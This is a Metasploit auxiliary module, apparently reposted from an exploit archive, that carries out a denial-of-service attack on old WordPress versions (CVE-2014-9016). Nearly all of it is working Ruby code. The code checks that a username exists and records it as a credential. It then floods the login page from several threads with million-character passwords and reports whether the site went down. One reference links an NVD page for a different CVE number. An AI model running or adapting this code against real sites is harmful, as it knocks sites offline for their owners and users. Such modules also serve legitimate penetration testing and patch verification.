WordPress Long Password Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress Long Password DoS',  
'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x  
before 4.0.1 allows remote attackers to cause a denial of service  
(CPU consumption) via a long password that is improperly handled  
during hashing.},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Javier Nieto Arevalo', # Vulnerability disclosure  
'Andres Rojas Guerrero', # Vulnerability disclosure  
'rastating' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2014-9016'],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9034'],  
['OSVDB', '114857'],  
['WPVDB', '7681']  
],  
'DisclosureDate' => '2014-11-20'  
))  
  
register_options(  
[  
OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]),  
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),  
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),  
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),  
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),  
OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true])  
])  
end  
  
def rlimit  
datastore['RLIMIT']  
end  
  
def plength  
datastore['PLENGTH']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def validate_user  
datastore['VALIDATE_USER']  
end  
  
def thread_count  
datastore['THREADS']  
end  
  
def timeout  
datastore['TIMEOUT']  
end  
  
def user_exists(user)  
exists = wordpress_user_exists?(user)  
if exists  
print_good("Username \"#{username}\" is valid")  
store_valid_credential(user: user, private: nil, proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}")  
return true  
else  
print_error("\"#{user}\" is not a valid username")  
return false  
end  
end  
  
def run  
if wordpress_and_online?  
if validate_user  
print_status("Checking if user \"#{username}\" exists...")  
unless user_exists(username)  
print_error('Aborting operation - a valid username must be specified')  
return  
end  
end  
  
starting_thread = 1  
while starting_thread < rlimit do  
ubound = [rlimit - (starting_thread - 1), thread_count].min  
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")  
  
threads = []  
1.upto(ubound) do |i|  
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|  
begin  
wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout)  
rescue => e  
print_error("Timed out during request #{(starting_thread - 1) + i}")  
end  
end  
end  
  
threads.each(&:join)  
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")  
starting_thread += ubound  
end  
  
if wordpress_and_online?  
print_error("FAILED: #{target_uri} appears to still be online")  
else  
print_good("SUCCESS: #{target_uri} appears to be down")  
end  
else  
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")  
end  
end  
end  
`